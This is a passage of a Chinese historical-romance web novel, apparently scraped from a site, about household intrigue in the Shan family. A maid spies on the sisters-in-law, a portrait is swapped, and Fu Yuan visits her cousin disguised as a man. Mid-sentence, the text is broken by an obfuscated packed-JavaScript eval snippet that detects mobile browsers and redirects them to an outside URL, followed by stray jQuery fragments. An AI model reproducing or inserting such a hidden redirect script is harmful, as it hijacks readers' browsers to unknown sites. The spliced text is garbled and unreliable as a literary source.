两妯娌在院子里嬉笑着你来我往，让有心之人听了去。
凝珠攥着拳，贴在墙根下听着两人嬉笑，依旧只觉得两人是碍于面子才没撕破脸。
两个有利益冲突的人，怎么可能会心平气和地坐到一起倾谈，还挽着手，你笑笑我，我闹闹你的。
怎么可能？
她游步穿过廊庑，急冲冲地向单老夫人厢房方向走去，心里暗自猜度。
两人会有嫌隙的，该有嫌隙的，可是她要怎么证明？
她一直低垂着脑袋，为此事分神，以至于为单老夫人舀血燕时竟倒撒在单老夫人腿上。
单老夫人猛地向后撤，险些摔了个底朝天。
凝珠当即跪倒在地，捻着帕子替她擦拭裙上污渍。
然而任凝珠如何擦拭，裙上的污秽也没有半分减退。单老夫人拧眉，推开了她攥帕子的手，“今个儿怎么冒冒失失的？别擦了，换一身便是了。”
被单老夫人推开手的凝珠直觉着双手冰冷到指尖感知不到自己的体温，她只呆愣着跪在地上，一时半会也没想起来站起身替单老夫人更衣。
单老夫人早已将门掩实，站在凝珠的面前。
凝珠看着面前的裙裾，这才晓得支起身，去衣箱里寻一身干净衣裳替她换上。正当凝珠将裙拢上，系绳时却听见头顶传来单老夫人的声音。
凝珠的手微微有些颤抖，却依旧攥紧了绳，不动声色地系上，听着单老夫人询问：“说吧，见着什么了？平时鲜少见你这副慌慌失失的模样，定是发现什么了。”
原先凝珠还在思忖着这话是该说不说，然而单老夫人显然耐心不多了。
“凝珠。”
腿脚止不住地震颤，她终究还是支撑不住跪倒在地，“老夫人，我......”
“表小姐正与夫人在院子里画像呢。”她怯生生地抬眸看过一眼单老夫人，见她鼻孔微张，胸口的起伏愈甚，赶忙将自己的推测说出口：“奴婢猜，两妯娌也不过是想面子上稍稍过得去罢了。毕竟昨日少爷与少夫人不也在咱们面前一副夫妻和睦的样子吗...？”
“夫妻和睦......”凝珠没敢再抬头窥看单老夫人的反应，心里一阵阵的慌乱。她甚至不知道单老夫人是如何从喉咙深处发出这样可怖的声音，像是蛰居在山洞的猛虎传来的沉闷声响。
“付家的女儿不简单，莫要掉以轻心了。”接下来的这句话又仿佛将刚才的怒气泄去，凝珠隐隐感觉到单老夫人似乎并没有她想象中的那般愠怒。
她小心翼翼地抬起眼来，又道：“是，是，指不定表小姐也不过是说些场面话罢了。奴婢方才才见着，只有表小姐身后打了伞，怕不是表小姐刻意为了少爷刁难少夫人，让少夫人在烈阳底下绘卷才罢休。”
“哦？果真？”凝珠听出单老夫人话尾微微上扬的音调，这才感觉脖颈后硬朗了些，直起身板来看她。
“奴婢亲眼所见，恐怕两妯娌间不如旁人所见的和睦。”凝珠心里忐忑，这话到底是她的推测，只不过是为了哄单老夫人才这么说罢了。单老夫人为人好面子，只要顺着她的意思，不会发太大的脾气。
顺从，是她呆在单老夫人身边的诀窍。
她也曾想过到金枝那去套两句话，也好求个心安。只是那丫头似乎一直对少爷忠心耿耿，未必愿意将内情告知。平日里她为了笼络人心，也曾给下人买过低廉的糕点首饰，只是金枝似乎从未觊觎过这些蝇头小利。
是嫌蚊子腿肉少？
凝珠一时也拿不定主意，只好又张着嘴哆嗦着试探，“奴婢方才只远远地看着，恐怕未能知全貌，不如让奴婢去找金枝探探口风？”
单老夫人的脸色明显变了，眼尾的皱纹一旦失了笑意便衬得她又苍老了半分。她嘴角一扯，又失笑着垂下头转了转手中的玉戒指，这才开声道：“凝珠，最近是怎么了？越来越糊涂了。”
“要不要让芍药替你两天？”她说这话时就连目光也不曾分与凝珠，好像觉着这枚棋子食之无味，弃之可惜。
凝珠一拍脑袋，挪着跪在地上的双膝，上前扯着单老夫人拖在地上的裙裾，“不要，不要，老夫人，凝珠，凝珠会听话的。不要换掉凝珠。”
见她声泪俱下，单老夫人也不好再多说甚么。到底是旧人用着顺手，愚笨些就愚笨些吧，“罢了，退下吧。以后行事定要小心，也不知道那狐媚妖子会耍什么手段，休要露出马脚才是。”
“是，是，夫人教训的是。”凝珠连连点头，半跪着挪身子退出房门，替单老夫人将门掩实。她自知自己没什么本事，比不上新来的芍药机敏，只是凭着昔日的主仆旧情才暂且留在单老夫人身边。
要说聪慧，她甚至与金枝不能相提并论，只是那丫头木讷，又不肯多说些阿谀话来奉承单老夫人，单老夫人才勉为其难地让金枝跟了少爷。
可若只凭这点便让她做回低级丫鬟，她是万万不甘心的。跟在单老夫人这么些年，没有苦功也有苦劳，她又怎肯将这美差事拱手让人。
事情一眨眼过去许久，戚茗姒到扬州来也有半月余。付媛替她画的画像可算大功告成，看着面前绘卷上娇俏的鹅蛋脸，甚是喜欢。甚至有一瞬间会想，要是她日后的女儿也能生得这般惹人怜该多好。
“茗姒这丫头，长得真是乖巧极了。”她面对画卷喃喃，确认无误后，正想要执笔题诗一首，却又停滞了动作。不知为何，她的内心有些惴惴。总觉着此举会落下什么把柄，让三人的计划告吹。
“金枝？”思虑再三，付媛决定还是作罢。题诗并不急于这一时，当前的燃眉之急是让单老夫人露出把柄来，便轻声唤金枝进屋。
“少夫人，”传来的嗓音显然不属于金枝，付媛错愕地转身朝门外望了望。躬身站在门前的丫鬟是个生面孔，年纪看上去并不算大，甚至可以说比茗姒还要小一些，或许只有十岁出头。
“金枝姑娘出门替少爷送书函去了，您只管吩咐奴婢便是。”可能是怕付媛生疑，那丫鬟没等付媛询问便自顾自地解释。
付媛若有所思地点点头，将手中的画卷递出去，“是吗？这画卷替我送到烟雨楼茗姒厢房去吧。”
丫鬟应了声是，便欠着身告退，快步走入了
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15509673|170563||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
长廊。
凝珠正倚在暗处候着，将提前准备好的画卷塞到丫鬟手中，顺手拿走了她怀里的画筒。她细声叮咛：“快去快回，只要说是少夫人送去的便是，其他的话一律少说。少说就少错，事成之后不会亏待你的。”
敲门声响起，里屋却似乎没有人应答。
正当丫鬟心急如焚，不知该如何交差，反复在门前踱步时，一男子径直撞过她肩膀，以至于她没能站稳摔倒在地。她蹙着眉望向那穿着青绿袖袍的男子，却只听那人操着奇怪的嗓音道了句“抱歉”便消失在走廊尽头。
那嗓音听着像是拢喉到极近呕吐发出来的，虽浑厚，却怪异十分。男子的声音，她是听过守门的小厮吆喝的，似乎并非如此。可若说那是女子的嗓音，她却又不敢笃定。
谁家女子会装作男儿身到烟雨楼来呢？
“吱呀”，门开了。
裙摆上的轻纱不偏不倚地落在丫鬟支撑在地面的手，“你是？”
“表，表小姐，奴婢，奴婢是单府的丫鬟，”或许是刚才惊魂未定，她有些嗫嚅，“是少夫人派奴婢来送画的。”
她打量了一番丫鬟，“生面孔啊，从前怎么没在府里见过你。”
“是，是，回表小姐，奴婢是新进府的丫鬟。”戚茗姒的双眼微眯，似笑非笑。
规行矩步，不过是有些慌张失了分寸，并不像是府里刚来的丫鬟。
不过既然她想撒谎，戚茗姒也懒得多问，哼笑一声便接过了她手中的画卷，“知道了，回去吧。”说罢便回身掩过了门，隔绝了屋外的视线。
丫鬟的脚步声渐远，紧接着又有一阵仓促的脚步接近。
规律的敲门声在门口响起，一直站在门后的戚茗姒盈盈一笑，拉开了房门。
她将那穿着青绿袖袍的男子拉入房门，又左右窥视了一番，确认没有旁人看见，这才急冲冲地关上了房门。
男子怯生生地隔着面纱看戚茗姒，看着她动作一气呵成，轻笑一声。
戚茗姒甚至没有抬眼看他，只是走到桌前倒了两杯茶，将其中一杯推到他的面前，“请。”
“辛苦嫂嫂了。”她睫毛微垂，丝毫没有理会付媛脸上那复杂的神情。
付媛原先还想要打趣一声，她这熟练的动作就像是她当真在烟雨楼金屋藏娇似的，没想到被反将一军，“你就不怕是别的男子效仿着我敲门，混进你屋里？”
戚茗姒抬眼看着付媛，又上下扫视了一番她身上的装束，并没有回答她的问题，“这身袖袍，似乎没见表兄穿过。”
付媛微笑的神情一愣，一瞬间不知该作何掩饰。她身上的这身装扮，的确是从李豫和那借来的，毕竟她不可能从单家大摇大摆地穿着男装出门，无论如何也绕不开李豫和。
只是她要解释这位友人，便会面临着身份暴露的风险。在单阎面前她尚且不敢如实交代，总不能棋差一着在茗姒这败露吧？
“嫂嫂可认识月孤明？”
戚茗姒猝不及防的一句试探，付媛眼珠子也险些瞪得掉了出来。
“...什，什么月孤明。”